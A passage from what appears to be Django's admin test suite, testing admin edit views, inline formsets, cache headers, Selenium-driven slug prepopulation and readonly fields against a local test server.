self.client.get('/test_admin/admin/admin_views/coverletter/%s/' % cl.pk) self.assertEqual(response.status_code, 200) # Emulate model instance edit via the admin post_data = { "author": "John Doe II", "_save": "Save", } response = self.client.post('/test_admin/admin/admin_views/coverletter/%s/' % cl.pk, post_data, follow=True) self.assertEqual(response.status_code, 200) self.assertEqual(CoverLetter.objects.count(), 1) # Message should contain non-ugly model verbose name. Instance # representation is set by model's __unicode__() self.assertContains( response, '<li class="success">The cover letter &quot;John Doe II&quot; was changed successfully.</li>', html=True ) # model has no __unicode__ method sm = ShortMessage.objects.create(content="This is expensive") self.assertEqual(ShortMessage.objects.count(), 1) response = self.client.get('/test_admin/admin/admin_views/shortmessage/%s/' % sm.pk) self.assertEqual(response.status_code, 200) # Emulate model instance edit via the admin post_data = { "content": "Too expensive", "_save": "Save", } response = self.client.post('/test_admin/admin/admin_views/shortmessage/%s/' % sm.pk, post_data, follow=True) self.assertEqual(response.status_code, 200) self.assertEqual(ShortMessage.objects.count(), 1) # Message should contain non-ugly model verbose name. The ugly(!) # instance representation is set by six.text_type() self.assertContains( response, '<li class="success">The short message &quot;ShortMessage_Deferred_timestamp object&quot; was changed successfully.</li>', html=True ) def test_edit_model_modeladmin_only_qs(self): # Test for #14529. only() is used in ModelAdmin.get_queryset() # model has __unicode__ method t = Telegram.objects.create(title="Frist Telegram") self.assertEqual(Telegram.objects.count(), 1) response = self.client.get('/test_admin/admin/admin_views/telegram/%s/' % t.pk) self.assertEqual(response.status_code, 200) # Emulate model instance edit via the admin post_data = { "title": "Telegram without typo", "_save": "Save", } response = self.client.post('/test_admin/admin/admin_views/telegram/%s/' % t.pk, post_data, follow=True) self.assertEqual(response.status_code, 200) self.assertEqual(Telegram.objects.count(), 1) # Message should contain non-ugly model verbose name. The instance # representation is set by model's __unicode__() self.assertContains( response, '<li class="success">The telegram &quot;Telegram without typo&quot; was changed successfully.</li>', html=True ) # model has no __unicode__ method p = Paper.objects.create(title="My Paper Title") self.assertEqual(Paper.objects.count(), 1) response = self.client.get('/test_admin/admin/admin_views/paper/%s/' % p.pk) self.assertEqual(response.status_code, 200) # Emulate model instance edit via the admin post_data = { "title": "My Modified Paper Title", "_save": "Save", } response = self.client.post('/test_admin/admin/admin_views/paper/%s/' % p.pk, post_data, follow=True) self.assertEqual(response.status_code, 200) self.assertEqual(Paper.objects.count(), 1) # Message should contain non-ugly model verbose name. The ugly(!) # instance representation is set by six.text_type() self.assertContains( response, '<li class="success">The paper &quot;Paper_Deferred_author object&quot; was changed successfully.</li>', html=True ) def test_history_view_custom_qs(self): """ Ensure that custom querysets are considered for the admin history view. Refs #21013. """ self.client.post(reverse('admin:login'), self.super_login) FilteredManager.objects.create(pk=1) FilteredManager.objects.create(pk=2) response = self.client.get('/test_admin/admin/admin_views/filteredmanager/') self.assertContains(response, "PK=1") self.assertContains(response, "PK=2") self.assertEqual(self.client.get('/test_admin/admin/admin_views/filteredmanager/1/history/').status_code, 200) self.assertEqual(self.client.get('/test_admin/admin/admin_views/filteredmanager/2/history/').status_code, 200) @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class AdminInlineFileUploadTest(TestCase): fixtures = ['admin-views-users.xml', 'admin-views-actions.xml'] urlbit = 'admin' def setUp(self): self.client.login(username='super', password='secret') # Set up test Picture and Gallery. # These must be set up here instead of in fixtures in order to allow Picture # to use a NamedTemporaryFile. tdir = tempfile.gettempdir() file1 = tempfile.NamedTemporaryFile(suffix=".file1", dir=tdir) file1.write(b'a' * (2 ** 21)) filename = file1.name file1.close() self.gallery = Gallery(name="Test Gallery") self.gallery.save() self.picture = Picture(name="Test Picture", image=filename, gallery=self.gallery) self.picture.save() def tearDown(self): self.client.logout() def test_inline_file_upload_edit_validation_error_post(self): """ Test that inline file uploads correctly display prior data (#10002). """ post_data = { "name": "Test Gallery", "pictures-TOTAL_FORMS": "2", "pictures-INITIAL_FORMS": "1", "pictures-MAX_NUM_FORMS": "0", "pictures-0-id": six.text_type(self.picture.id), "pictures-0-gallery": six.text_type(self.gallery.id), "pictures-0-name": "Test Picture", "pictures-0-image": "", "pictures-1-id": "", "pictures-1-gallery": str(self.gallery.id), "pictures-1-name": "Test Picture 2", "pictures-1-image": "", } response = self.client.post('/test_admin/%s/admin_views/gallery/%d/' % (self.urlbit, self.gallery.id), post_data) self.assertContains(response, b"Currently") @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class AdminInlineTests(TestCase): fixtures = ['admin-views-users.xml'] def setUp(self): self.post_data = { "name": "Test Name", "widget_set-TOTAL_FORMS": "3", "widget_set-INITIAL_FORMS": "0", "widget_set-MAX_NUM_FORMS": "0", "widget_set-0-id": "", "widget_set-0-owner": "1", "widget_set-0-name": "", "widget_set-1-id": "", "widget_set-1-owner": "1", "widget_set-1-name": "", "widget_set-2-id": "", "widget_set-2-owner": "1", "widget_set-2-name": "", "doohickey_set-TOTAL_FORMS": "3", "doohickey_set-INITIAL_FORMS": "0", "doohickey_set-MAX_NUM_FORMS": "0", "doohickey_set-0-owner": "1", "doohickey_set-0-code": "", "doohickey_set-0-name": "", "doohickey_set-1-owner": "1", "doohickey_set-1-code": "", "doohickey_set-1-name": "", "doohickey_set-2-owner": "1", "doohickey_set-2-code": "", "doohickey_set-2-name": "", "grommet_set-TOTAL_FORMS": "3", "grommet_set-INITIAL_FORMS": "0", "grommet_set-MAX_NUM_FORMS": "0", "grommet_set-0-code": "", "grommet_set-0-owner": "1", "grommet_set-0-name": "", "grommet_set-1-code": "", "grommet_set-1-owner": "1", "grommet_set-1-name": "", "grommet_set-2-code": "", "grommet_set-2-owner": "1", "grommet_set-2-name": "", "whatsit_set-TOTAL_FORMS": "3", "whatsit_set-INITIAL_FORMS": "0", "whatsit_set-MAX_NUM_FORMS": "0", "whatsit_set-0-owner": "1", "whatsit_set-0-index": "", "whatsit_set-0-name": "", "whatsit_set-1-owner": "1", "whatsit_set-1-index": "", "whatsit_set-1-name": "", "whatsit_set-2-owner": "1", "whatsit_set-2-index": "", "whatsit_set-2-name": "", "fancydoodad_set-TOTAL_FORMS": "3", "fancydoodad_set-INITIAL_FORMS": "0", "fancydoodad_set-MAX_NUM_FORMS": "0", "fancydoodad_set-0-doodad_ptr": "", "fancydoodad_set-0-owner": "1", "fancydoodad_set-0-name": "", "fancydoodad_set-0-expensive": "on", "fancydoodad_set-1-doodad_ptr": "", "fancydoodad_set-1-owner": "1", "fancydoodad_set-1-name": "", "fancydoodad_set-1-expensive": "on", "fancydoodad_set-2-doodad_ptr": "", "fancydoodad_set-2-owner": "1", "fancydoodad_set-2-name": "", "fancydoodad_set-2-expensive": "on", "category_set-TOTAL_FORMS": "3", "category_set-INITIAL_FORMS": "0", "category_set-MAX_NUM_FORMS": "0", "category_set-0-order": "", "category_set-0-id": "", "category_set-0-collector": "1", "category_set-1-order": "", "category_set-1-id": "", "category_set-1-collector": "1", "category_set-2-order": "", "category_set-2-id": "", "category_set-2-collector": "1", } result = self.client.login(username='super', password='secret') self.assertEqual(result, True) self.collector = Collector(pk=1, name='John Fowles') self.collector.save() def tearDown(self): self.client.logout() def test_simple_inline(self): "A simple model can be saved as inlines" # First add a new inline self.post_data['widget_set-0-name'] = "Widget 1" collector_url = '/test_admin/admin/admin_views/collector/%d/' % self.collector.pk response = self.client.post(collector_url, self.post_data) self.assertEqual(response.status_code, 302) self.assertEqual(Widget.objects.count(), 1) self.assertEqual(Widget.objects.all()[0].name, "Widget 1") widget_id = Widget.objects.all()[0].id # Check that the PK link exists on the rendered form response = self.client.get(collector_url) self.assertContains(response, 'name="widget_set-0-id"') # Now resave that inline self.post_data['widget_set-INITIAL_FORMS'] = "1" self.post_data['widget_set-0-id'] = str(widget_id) self.post_data['widget_set-0-name'] = "Widget 1" response = self.client.post(collector_url, self.post_data) self.assertEqual(response.status_code, 302) self.assertEqual(Widget.objects.count(), 1) self.assertEqual(Widget.objects.all()[0].name, "Widget 1") # Now modify that inline self.post_data['widget_set-INITIAL_FORMS'] = "1" self.post_data['widget_set-0-id'] = str(widget_id) self.post_data['widget_set-0-name'] = "Widget 1 Updated" response = self.client.post(collector_url, self.post_data) self.assertEqual(response.status_code, 302) self.assertEqual(Widget.objects.count(), 1) self.assertEqual(Widget.objects.all()[0].name, "Widget 1 Updated") def test_explicit_autofield_inline(self): "A model with an explicit autofield primary key can be saved as inlines. Regression for #8093" # First add a new inline self.post_data['grommet_set-0-name'] = "Grommet 1" collector_url = '/test_admin/admin/admin_views/collector/%d/' % self.collector.pk response = self.client.post(collector_url, self.post_data) self.assertEqual(response.status_code, 302) self.assertEqual(Grommet.objects.count(), 1) self.assertEqual(Grommet.objects.all()[0].name, "Grommet 1") # Check that the PK link exists on the rendered form response = self.client.get(collector_url) self.assertContains(response, 'name="grommet_set-0-code"') # Now resave that inline self.post_data['grommet_set-INITIAL_FORMS'] = "1" self.post_data['grommet_set-0-code'] = str(Grommet.objects.all()[0].code) self.post_data['grommet_set-0-name'] = "Grommet 1" response = self.client.post(collector_url, self.post_data) self.assertEqual(response.status_code, 302) self.assertEqual(Grommet.objects.count(), 1) self.assertEqual(Grommet.objects.all()[0].name, "Grommet 1") # Now modify that inline self.post_data['grommet_set-INITIAL_FORMS'] = "1" self.post_data['grommet_set-0-code'] = str(Grommet.objects.all()[0].code) self.post_data['grommet_set-0-name'] = "Grommet 1 Updated" response = self.client.post(collector_url, self.post_data) self.assertEqual(response.status_code, 302) self.assertEqual(Grommet.objects.count(), 1) self.assertEqual(Grommet.objects.all()[0].name, "Grommet 1 Updated") def test_char_pk_inline(self): "A model with a character PK can be saved as inlines. Regression for #10992" # First add a new inline self.post_data['doohickey_set-0-code'] = "DH1" self.post_data['doohickey_set-0-name'] = "Doohickey 1" collector_url = '/test_admin/admin/admin_views/collector/%d/' % self.collector.pk response = self.client.post(collector_url, self.post_data) self.assertEqual(response.status_code, 302) self.assertEqual(DooHickey.objects.count(), 1) self.assertEqual(DooHickey.objects.all()[0].name, "Doohickey 1") # Check that the PK link exists on the rendered form response = self.client.get(collector_url) self.assertContains(response, 'name="doohickey_set-0-code"') # Now resave that inline self.post_data['doohickey_set-INITIAL_FORMS'] = "1" self.post_data['doohickey_set-0-code'] = "DH1" self.post_data['doohickey_set-0-name'] = "Doohickey 1" response = self.client.post(collector_url, self.post_data) self.assertEqual(response.status_code, 302) self.assertEqual(DooHickey.objects.count(), 1) self.assertEqual(DooHickey.objects.all()[0].name, "Doohickey 1") # Now modify that inline self.post_data['doohickey_set-INITIAL_FORMS'] = "1" self.post_data['doohickey_set-0-code'] = "DH1" self.post_data['doohickey_set-0-name'] = "Doohickey 1 Updated" response = self.client.post(collector_url, self.post_data) self.assertEqual(response.status_code, 302) self.assertEqual(DooHickey.objects.count(), 1) self.assertEqual(DooHickey.objects.all()[0].name, "Doohickey 1 Updated") def test_integer_pk_inline(self): "A model with an integer PK can be saved as inlines. Regression for #10992" # First add a new inline self.post_data['whatsit_set-0-index'] = "42" self.post_data['whatsit_set-0-name'] = "Whatsit 1" response = self.client.post('/test_admin/admin/admin_views/collector/1/', self.post_data) self.assertEqual(response.status_code, 302) self.assertEqual(Whatsit.objects.count(), 1) self.assertEqual(Whatsit.objects.all()[0].name, "Whatsit 1") # Check that the PK link exists on the rendered form response = self.client.get('/test_admin/admin/admin_views/collector/1/') self.assertContains(response, 'name="whatsit_set-0-index"') # Now resave that inline self.post_data['whatsit_set-INITIAL_FORMS'] = "1" self.post_data['whatsit_set-0-index'] = "42" self.post_data['whatsit_set-0-name'] = "Whatsit 1" response = self.client.post('/test_admin/admin/admin_views/collector/1/', self.post_data) self.assertEqual(response.status_code, 302) self.assertEqual(Whatsit.objects.count(), 1) self.assertEqual(Whatsit.objects.all()[0].name, "Whatsit 1") # Now modify that inline self.post_data['whatsit_set-INITIAL_FORMS'] = "1" self.post_data['whatsit_set-0-index'] = "42" self.post_data['whatsit_set-0-name'] = "Whatsit 1 Updated" response = self.client.post('/test_admin/admin/admin_views/collector/1/', self.post_data) self.assertEqual(response.status_code, 302) self.assertEqual(Whatsit.objects.count(), 1) self.assertEqual(Whatsit.objects.all()[0].name, "Whatsit 1 Updated") def test_inherited_inline(self): "An inherited model can be saved as inlines. Regression for #11042" # First add a new inline self.post_data['fancydoodad_set-0-name'] = "Fancy Doodad 1" collector_url = '/test_admin/admin/admin_views/collector/%d/' % self.collector.pk response = self.client.post(collector_url, self.post_data) self.assertEqual(response.status_code, 302) self.assertEqual(FancyDoodad.objects.count(), 1) self.assertEqual(FancyDoodad.objects.all()[0].name, "Fancy Doodad 1") doodad_pk = FancyDoodad.objects.all()[0].pk # Check that the PK link exists on the rendered form response = self.client.get(collector_url) self.assertContains(response, 'name="fancydoodad_set-0-doodad_ptr"') # Now resave that inline self.post_data['fancydoodad_set-INITIAL_FORMS'] = "1" self.post_data['fancydoodad_set-0-doodad_ptr'] = str(doodad_pk) self.post_data['fancydoodad_set-0-name'] = "Fancy Doodad 1" response = self.client.post(collector_url, self.post_data) self.assertEqual(response.status_code, 302) self.assertEqual(FancyDoodad.objects.count(), 1) self.assertEqual(FancyDoodad.objects.all()[0].name, "Fancy Doodad 1") # Now modify that inline self.post_data['fancydoodad_set-INITIAL_FORMS'] = "1" self.post_data['fancydoodad_set-0-doodad_ptr'] = str(doodad_pk) self.post_data['fancydoodad_set-0-name'] = "Fancy Doodad 1 Updated" response = self.client.post(collector_url, self.post_data) self.assertEqual(response.status_code, 302) self.assertEqual(FancyDoodad.objects.count(), 1) self.assertEqual(FancyDoodad.objects.all()[0].name, "Fancy Doodad 1 Updated") def test_ordered_inline(self): """Check that an inline with an editable ordering fields is updated correctly. Regression for #10922""" # Create some objects with an initial ordering Category.objects.create(id=1, order=1, collector=self.collector) Category.objects.create(id=2, order=2, collector=self.collector) Category.objects.create(id=3, order=0, collector=self.collector) Category.objects.create(id=4, order=0, collector=self.collector) # NB: The order values must be changed so that the items are reordered. self.post_data.update({ "name": "Frederick Clegg", "category_set-TOTAL_FORMS": "7", "category_set-INITIAL_FORMS": "4", "category_set-MAX_NUM_FORMS": "0", "category_set-0-order": "14", "category_set-0-id": "1", "category_set-0-collector": "1", "category_set-1-order": "13", "category_set-1-id": "2", "category_set-1-collector": "1", "category_set-2-order": "1", "category_set-2-id": "3", "category_set-2-collector": "1", "category_set-3-order": "0", "category_set-3-id": "4", "category_set-3-collector": "1", "category_set-4-order": "", "category_set-4-id": "", "category_set-4-collector": "1", "category_set-5-order": "", "category_set-5-id": "", "category_set-5-collector": "1", "category_set-6-order": "", "category_set-6-id": "", "category_set-6-collector": "1", }) response = self.client.post('/test_admin/admin/admin_views/collector/1/', self.post_data) # Successful post will redirect self.assertEqual(response.status_code, 302) # Check that the order values have been applied to the right objects self.assertEqual(self.collector.category_set.count(), 4) self.assertEqual(Category.objects.get(id=1).order, 14) self.assertEqual(Category.objects.get(id=2).order, 13) self.assertEqual(Category.objects.get(id=3).order, 1) self.assertEqual(Category.objects.get(id=4).order, 0) @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class NeverCacheTests(TestCase): fixtures = ['admin-views-users.xml', 'admin-views-colors.xml', 'admin-views-fabrics.xml'] def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() def test_admin_index(self): "Check the never-cache status of the main index" response = self.client.get('/test_admin/admin/') self.assertEqual(get_max_age(response), 0) def test_app_index(self): "Check the never-cache status of an application index" response = self.client.get('/test_admin/admin/admin_views/') self.assertEqual(get_max_age(response), 0) def test_model_index(self): "Check the never-cache status of a model index" response = self.client.get('/test_admin/admin/admin_views/fabric/') self.assertEqual(get_max_age(response), 0) def test_model_add(self): "Check the never-cache status of a model add page" response = self.client.get('/test_admin/admin/admin_views/fabric/add/') self.assertEqual(get_max_age(response), 0) def test_model_view(self): "Check the never-cache status of a model edit page" response = self.client.get('/test_admin/admin/admin_views/section/1/') self.assertEqual(get_max_age(response), 0) def test_model_history(self): "Check the never-cache status of a model history page" response = self.client.get('/test_admin/admin/admin_views/section/1/history/') self.assertEqual(get_max_age(response), 0) def test_model_delete(self): "Check the never-cache status of a model delete page" response = self.client.get('/test_admin/admin/admin_views/section/1/delete/') self.assertEqual(get_max_age(response), 0) def test_login(self): "Check the never-cache status of login views" self.client.logout() response = self.client.get('/test_admin/admin/') self.assertEqual(get_max_age(response), 0) def test_logout(self): "Check the never-cache status of logout view" response = self.client.get('/test_admin/admin/logout/') self.assertEqual(get_max_age(response), 0) def test_password_change(self): "Check the never-cache status of the password change view" self.client.logout() response = self.client.get('/test_admin/password_change/') self.assertEqual(get_max_age(response), None) def test_password_change_done(self): "Check the never-cache status of the password change done view" response = self.client.get('/test_admin/admin/password_change/done/') self.assertEqual(get_max_age(response), None) def test_JS_i18n(self): "Check the never-cache status of the JavaScript i18n view" response = self.client.get('/test_admin/admin/jsi18n/') self.assertEqual(get_max_age(response), None) @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class PrePopulatedTest(TestCase): fixtures = ['admin-views-users.xml'] def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() def test_prepopulated_on(self): response = self.client.get('/test_admin/admin/admin_views/prepopulatedpost/add/') self.assertEqual(response.status_code, 200) self.assertContains(response, "id: '#id_slug',") self.assertContains(response, "field['dependency_ids'].push('#id_title');") self.assertContains(response, "id: '#id_prepopulatedsubpost_set-0-subslug',") def test_prepopulated_off(self): response = self.client.get('/test_admin/admin/admin_views/prepopulatedpost/1/') self.assertEqual(response.status_code, 200) self.assertContains(response, "A Long Title") self.assertNotContains(response, "id: '#id_slug'") self.assertNotContains(response, "field['dependency_ids'].push('#id_title');") self.assertNotContains(response, "id: '#id_prepopulatedsubpost_set-0-subslug',") @override_settings(USE_THOUSAND_SEPARATOR=True, USE_L10N=True) def test_prepopulated_maxlength_localized(self): """ Regression test for #15938: if USE_THOUSAND_SEPARATOR is set, make sure that maxLength (in the JavaScript) is rendered without separators. """ response = self.client.get('/test_admin/admin/admin_views/prepopulatedpostlargeslug/add/') self.assertContains(response, "maxLength: 1000") # instead of 1,000 @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class SeleniumAdminViewsFirefoxTests(AdminSeleniumWebDriverTestCase): available_apps = ['admin_views'] + AdminSeleniumWebDriverTestCase.available_apps fixtures = ['admin-views-users.xml'] webdriver_class = 'selenium.webdriver.firefox.webdriver.WebDriver' def test_prepopulated_fields(self): """ Ensure that the JavaScript-automated prepopulated fields work with the main form and with stacked and tabular inlines. Refs #13068, #9264, #9983, #9784. """ self.admin_login(username='super', password='secret', login_url='/test_admin/admin/') self.selenium.get('%s%s' % (self.live_server_url, '/test_admin/admin/admin_views/mainprepopulated/add/')) # Main form ---------------------------------------------------------- self.selenium.find_element_by_css_selector('#id_pubdate').send_keys('2012-02-18') self.get_select_option('#id_status', 'option two').click() self.selenium.find_element_by_css_selector('#id_name').send_keys(' this is the mAin nÀMë and it\'s awεšome') slug1 = self.selenium.find_element_by_css_selector('#id_slug1').get_attribute('value') slug2 = self.selenium.find_element_by_css_selector('#id_slug2').get_attribute('value') self.assertEqual(slug1, 'main-name-and-its-awesome-2012-02-18') self.assertEqual(slug2, 'option-two-main-name-and-its-awesome') # Stacked inlines ---------------------------------------------------- # Initial inline self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-0-pubdate').send_keys('2011-12-17') self.get_select_option('#id_relatedprepopulated_set-0-status', 'option one').click() self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-0-name').send_keys(' here is a sŤāÇkeð inline ! ') slug1 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-0-slug1').get_attribute('value') slug2 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-0-slug2').get_attribute('value') self.assertEqual(slug1, 'here-stacked-inline-2011-12-17') self.assertEqual(slug2, 'option-one-here-stacked-inline') # Add an inline self.selenium.find_elements_by_link_text('Add another Related prepopulated')[0].click() self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-1-pubdate').send_keys('1999-01-25') self.get_select_option('#id_relatedprepopulated_set-1-status', 'option two').click() self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-1-name').send_keys(' now you haVe anöther sŤāÇkeð inline with a very ... loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooog text... ') slug1 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-1-slug1').get_attribute('value') slug2 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-1-slug2').get_attribute('value') self.assertEqual(slug1, 'now-you-have-another-stacked-inline-very-loooooooo') # 50 characters maximum for slug1 field self.assertEqual(slug2, 'option-two-now-you-have-another-stacked-inline-very-looooooo') # 60 characters maximum for slug2 field # Tabular inlines ---------------------------------------------------- # Initial inline self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-0-pubdate').send_keys('1234-12-07') self.get_select_option('#id_relatedprepopulated_set-2-0-status', 'option two').click() self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-0-name').send_keys('And now, with a tÃbűlaŘ inline !!!') slug1 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-0-slug1').get_attribute('value') slug2 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-0-slug2').get_attribute('value') self.assertEqual(slug1, 'and-now-tabular-inline-1234-12-07') self.assertEqual(slug2, 'option-two-and-now-tabular-inline') # Add an inline self.selenium.find_elements_by_link_text('Add another Related prepopulated')[1].click() self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-1-pubdate').send_keys('1981-08-22') self.get_select_option('#id_relatedprepopulated_set-2-1-status', 'option one').click() self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-1-name').send_keys('a tÃbűlaŘ inline with ignored ;"&*^\%$#@-/`~ characters') slug1 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-1-slug1').get_attribute('value') slug2 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-1-slug2').get_attribute('value') self.assertEqual(slug1, 'tabular-inline-ignored-characters-1981-08-22') self.assertEqual(slug2, 'option-one-tabular-inline-ignored-characters') # Save and check that everything is properly stored in the database self.selenium.find_element_by_xpath('//input[@value="Save"]').click() self.wait_page_loaded() self.assertEqual(MainPrepopulated.objects.all().count(), 1) MainPrepopulated.objects.get( name=' this is the mAin nÀMë and it\'s awεšome', pubdate='2012-02-18', status='option two', slug1='main-name-and-its-awesome-2012-02-18', slug2='option-two-main-name-and-its-awesome', ) self.assertEqual(RelatedPrepopulated.objects.all().count(), 4) RelatedPrepopulated.objects.get( name=' here is a sŤāÇkeð inline ! ', pubdate='2011-12-17', status='option one', slug1='here-stacked-inline-2011-12-17', slug2='option-one-here-stacked-inline', ) RelatedPrepopulated.objects.get( name=' now you haVe anöther sŤāÇkeð inline with a very ... loooooooooooooooooo', # 75 characters in name field pubdate='1999-01-25', status='option two', slug1='now-you-have-another-stacked-inline-very-loooooooo', slug2='option-two-now-you-have-another-stacked-inline-very-looooooo', ) RelatedPrepopulated.objects.get( name='And now, with a tÃbűlaŘ inline !!!', pubdate='1234-12-07', status='option two', slug1='and-now-tabular-inline-1234-12-07', slug2='option-two-and-now-tabular-inline', ) RelatedPrepopulated.objects.get( name='a tÃbűlaŘ inline with ignored ;"&*^\%$#@-/`~ characters', pubdate='1981-08-22', status='option one', slug1='tabular-inline-ignored-characters-1981-08-22', slug2='option-one-tabular-inline-ignored-characters', ) def test_populate_existing_object(self): """ Ensure that the prepopulation works for existing objects too, as long as the original field is empty. Refs #19082. """ # Slugs are empty to start with. item = MainPrepopulated.objects.create( name=' this is the mAin nÀMë', pubdate='2012-02-18', status='option two', slug1='', slug2='', ) self.admin_login(username='super', password='secret', login_url='/test_admin/admin/') object_url = '%s%s' % ( self.live_server_url, '/test_admin/admin/admin_views/mainprepopulated/{}/'.format(item.id)) self.selenium.get(object_url) self.selenium.find_element_by_css_selector('#id_name').send_keys(' the best') # The slugs got prepopulated since they were originally empty slug1 = self.selenium.find_element_by_css_selector('#id_slug1').get_attribute('value') slug2 = self.selenium.find_element_by_css_selector('#id_slug2').get_attribute('value') self.assertEqual(slug1, 'main-name-best-2012-02-18') self.assertEqual(slug2, 'option-two-main-name-best') # Save the object self.selenium.find_element_by_xpath('//input[@value="Save"]').click() self.wait_page_loaded() self.selenium.get(object_url) self.selenium.find_element_by_css_selector('#id_name').send_keys(' hello') # The slugs got prepopulated didn't change since they were originally not empty slug1 = self.selenium.find_element_by_css_selector('#id_slug1').get_attribute('value') slug2 = self.selenium.find_element_by_css_selector('#id_slug2').get_attribute('value') self.assertEqual(slug1, 'main-name-best-2012-02-18') self.assertEqual(slug2, 'option-two-main-name-best') def test_collapsible_fieldset(self): """ Test that the 'collapse' class in fieldsets definition allows to show/hide the appropriate field section. """ self.admin_login(username='super', password='secret', login_url='/test_admin/admin/') self.selenium.get('%s%s' % (self.live_server_url, '/test_admin/admin/admin_views/article/add/')) self.assertFalse(self.selenium.find_element_by_id('id_title').is_displayed()) self.selenium.find_elements_by_link_text('Show')[0].click() self.assertTrue(self.selenium.find_element_by_id('id_title').is_displayed()) self.assertEqual( self.selenium.find_element_by_id('fieldsetcollapser0').text, "Hide" ) def test_first_field_focus(self): """JavaScript-assisted auto-focus on first usable form field.""" # First form field has a single widget self.admin_login(username='super', password='secret', login_url='/test_admin/admin/') self.selenium.get('%s%s' % (self.live_server_url, '/test_admin/admin/admin_views/picture/add/')) self.assertEqual( self.selenium.switch_to.active_element, self.selenium.find_element_by_id('id_name') ) # First form field has a MultiWidget self.selenium.get('%s%s' % (self.live_server_url, '/test_admin/admin/admin_views/reservation/add/')) self.assertEqual( self.selenium.switch_to.active_element, self.selenium.find_element_by_id('id_start_date_0') ) def test_cancel_delete_confirmation(self): "Cancelling the deletion of an object takes the user back one page." pizza = Pizza.objects.create(name="Double Cheese") url = reverse('admin:admin_views_pizza_change', args=(pizza.id,)) full_url = '%s%s' % (self.live_server_url, url) self.admin_login(username='super', password='secret', login_url='/test_admin/admin/') self.selenium.get(full_url) self.selenium.find_element_by_class_name('deletelink').click() self.selenium.find_element_by_class_name('cancel-link').click() self.assertEqual(self.selenium.current_url, full_url) self.assertEqual(Pizza.objects.count(), 1) def test_cancel_delete_related_confirmation(self): """ Cancelling the deletion of an object with relations takes the user back one page. """ pizza = Pizza.objects.create(name="Double Cheese") topping1 = Topping.objects.create(name="Cheddar") topping2 = Topping.objects.create(name="Mozzarella") pizza.toppings.add(topping1, topping2) url = reverse('admin:admin_views_pizza_change', args=(pizza.id,)) full_url = '%s%s' % (self.live_server_url, url) self.admin_login(username='super', password='secret', login_url='/test_admin/admin/') self.selenium.get(full_url) self.selenium.find_element_by_class_name('deletelink').click() self.selenium.find_element_by_class_name('cancel-link').click() self.assertEqual(self.selenium.current_url, full_url) self.assertEqual(Pizza.objects.count(), 1) self.assertEqual(Topping.objects.count(), 2) class SeleniumAdminViewsChromeTests(SeleniumAdminViewsFirefoxTests): webdriver_class = 'selenium.webdriver.chrome.webdriver.WebDriver' class SeleniumAdminViewsIETests(SeleniumAdminViewsFirefoxTests): webdriver_class = 'selenium.webdriver.ie.webdriver.WebDriver' @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class ReadonlyTest(TestCase): fixtures = ['admin-views-users.xml'] def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() def test_readonly_get(self): response = self.client.get('/test_admin/admin/admin_views/post/add/') self.assertEqual(response.status_code, 200) self.assertNotContains(response, 'name="posted"') # 3 fields + 2 submit buttons + 5 inline management form fields, + 2 # hidden fields for inlines + 1 field for the inline + 2 empty form self.assertContains(response, "<input", count=15) self.assertContains(response, formats.localize(datetime.date.today())) self.assertContains(response, "<label>Awesomeness level:</label>") self.assertContains(response, "Very awesome.") self.assertContains(response, "Unknown coolness.") self.assertContains(response, "foo") # Checks that multiline text in a readonly field gets <br /> tags self.assertContains(response, "Multiline<br />test<br />string") self.assertContains(response, "<p>Multiline<br />html<br />content</p>", html=True) self.assertContains(response, "InlineMultiline<br />test<br />string") self.assertContains(response, formats.localize(datetime.date.today() - datetime.timedelta(days=7))) self.assertContains(response, '<div class="form-row field-coolness">') self.assertContains(response, '<div class="form-row field-awesomeness_level">') self.assertContains(response, '<div class="form-row field-posted">') self.assertContains(response, '<div class="form-row field-value">') self.assertContains(response, '<div class="form-row">') self.assertContains(response, '<p class="help">', 3) self.assertContains(response, '<p class="help">Some help text for the title (with unicode ŠĐĆŽćžšđ)</p>', html=True) self.assertContains(response, '<p class="help">Some help text for the content (with unicode ŠĐĆŽćžšđ)</p>', html=True) self.assertContains(response, '<p class="help">Some help text for the date (with unicode ŠĐĆŽćžšđ)</p>', html=True) p = Post.objects.create(title="I worked on readonly_fields", content="Its good stuff") response = self.client.get('/test_admin/admin/admin_views/post/%d/' % p.pk) self.assertContains(response, "%d amount of cool" % p.pk) def test_readonly_post(self): data = { "title": "Django Got Readonly Fields", "content": "This is an incredible development.", "link_set-TOTAL_FORMS": "1", "link_set-INITIAL_FORMS": "0", "link_set-MAX_NUM_FORMS": "0", } response = self.client.post('/test_admin/admin/admin_views/post/add/', data) self.assertEqual(response.status_code, 302) self.assertEqual(Post.objects.count(), 1) p = Post.objects.get() self.assertEqual(p.posted, datetime.date.today()) data["posted"] = "10-8-1990" # some date that's not today response = 